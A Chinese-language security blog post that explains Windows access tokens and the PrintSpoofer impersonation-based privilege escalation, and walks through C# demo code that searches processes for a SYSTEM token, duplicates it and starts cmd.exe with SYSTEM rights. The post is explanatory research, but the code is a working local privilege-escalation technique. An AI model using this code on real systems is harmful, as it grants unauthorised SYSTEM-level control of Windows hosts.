上周安全研究員itm4n發布了PrintSpoofer權限提升: https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。經過分析Github上的代碼(也可以看這篇360靈騰安全實驗室發布的原理分析: https://www.anquanke.com/post/id/204510)大致成因是spoolsv.exe進程會注冊一個 rpc 服務,任何授權用戶可以訪問他,同時攻擊者可以利用Server names規范問題注冊一個命名管道,而同時System用戶訪問該管道的時候,我們就可以模擬該token創建一個System權限的進程。下面就簡單講一下Token模擬的原理。
-
主令牌(Primary令牌)
-
模擬令牌(Impersonation令牌)
- 用戶賬戶的安全標識符(SID)
- 用戶所屬的組的SID
- 用於標識當前登陸會話的登陸SID
- 用戶或用戶組所擁有的權限列表
- 所有者SID
- 主要組的SID
- 訪問控制列表
- 訪問令牌的來源
- 令牌是主要令牌還是模擬令牌
- 限制SID的可選列表
- 目前的模擬等級
- 其他統計的數據
可以通過whoami /user命令查看當前的SID
- Anonymous:服務器無法模擬或識別客戶端。
- Identification:服務器可以獲取客戶端的身份和特權,但不能模擬客戶端。
- Impersonation:服務器可以在本地系統上模擬客戶端的安全上下文。
- Delegation:服務器可以在遠程系統上模擬客戶端的安全上下文。
函數 | 需要的特權 | 需要輸入的值 |
CreateProcessWithLogon() | null | 域/用戶名/密碼 |
CreateProcessWithToken() | SeImpersonatePrivilege | Primary令牌 |
CreateProcessAsUser() | SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege | Primary令牌 |

所以,我們則需要對每個進程進行爆破,直到找到滿足如下條件的進程:
- 進程運行用戶是SYSTEM
- 令牌級別至少是Impersonation級別
- 攻擊者運行的權限至少擁有SeImpersonatePrivilege

我在后面使用C#編寫了一個demo,大概執行過程我會在這里詳細的介紹。並在文章末尾附上Github地址。
1 public static Boolean EnumerateUserProcesses() 2 { 3 Boolean rs = false; 4 Process[] pids = Process.GetProcesses(); 5 Console.WriteLine("[*] Examining {0} processes", pids.Length); 6 foreach (Process p in pids) 7 { 8 if (p.ProcessName.ToUpper().Equals("System".ToUpper())) { //跳過進程名為"System"的進程 9 continue; 10 } 11 IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id); 12 if (IntPtr.Zero == hProcess) 13 { 14 hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes 15 if (IntPtr.Zero == hProcess) 16 { 17 continue; 18 } 19 } 20 IntPtr hToken; 21 if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken)) 22 { 23 continue; 24 } 25 CloseHandle(hProcess); 26 27 UInt32 dwLength = 0; 28 TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS(); 29 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) 30 { 31 if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength)) 32 { 33 continue; 34 } 35 } 36 37 String userName = String.Empty; 38 if (!GetTokenInformationToUsername(tokenStatistics, ref userName)) 39 { 40 continue; 41 } 42 43 rs = token_elevation(hToken); 44 if (rs) 45 { 46 Console.WriteLine("模擬成功!PID:" + p.Id); 47 break; 48 } 49 } 50 return rs; 51 }
1 LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse); 2 3 userName = lpName.ToString(); 4 if (!userName.ToUpper().Equals("System".ToUpper())) { 5 return false; 6 }
接下來就是重頭戲token_elevation函數
1 public static Boolean token_elevation(IntPtr hExistingToken) { 2 IntPtr phNewToken; 3 STARTUPINFO StartupInfo = new STARTUPINFO(); 4 PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION(); 5 StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo); 6 SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); 7 if (!DuplicateTokenEx( 8 hExistingToken, 9 Flags.TOKEN_ALL_ACCESS, 10 ref securityAttributes, 11 SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, 12 TOKEN_TYPE.TokenPrimary, 13 out phNewToken 14 )) 15 { 16 return false; 17 } 18 Console.WriteLine("[+] Duplicate The Token!"); 19 20 //提升自身進程權限 21 //if (!ImpersonateLoggedOnUser(phNewToken)) 22 //{ 23 // return false; 24 //} 25 //Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name); 26 27 if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo)) 28 { 29 Console.WriteLine("[+] SUCCESS"); 30 return true; 31 } 32 return false; 33 }
函數中調用了DuplicateTokenEx轉換成TOKEN_TYPE.TokenPrimary,也是Primary令牌。
並調用了CreateProcessWithTokenW創建了一個新的cmd進程
運行效果如下:
但是新建一個進程在虛擬終端中提權有些不便,后面看到冷逸師傅的Github上(https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe)的解決方案是通過命令管道來重定向新進程的輸出
分析定位到代碼
程序是由https://github.com/yusufqk/SystemToken改動之后,調用CreatePipe函數創建命名管道,並將重定向句柄傳入StartupInfo結構體中
偷個懶,我就也利用源碼自己照着IDA上的偽代碼自己寫了個demo
運行后如下:
我將C#代碼和C++代碼都放到我的GIthub上開源了:https://github.com/sf197/TokenPrivilege_Demo
Reference:
- https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
- https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
- https://github.com/0xbadjuju/Tokenvator/
- https://github.com/NetSPI/MonkeyWorks
首發:https://www.anquanke.com/post/id/204721
在寫博客的過程中貌似發現了一處降權后的操作導致無法以管理員運行程序的問題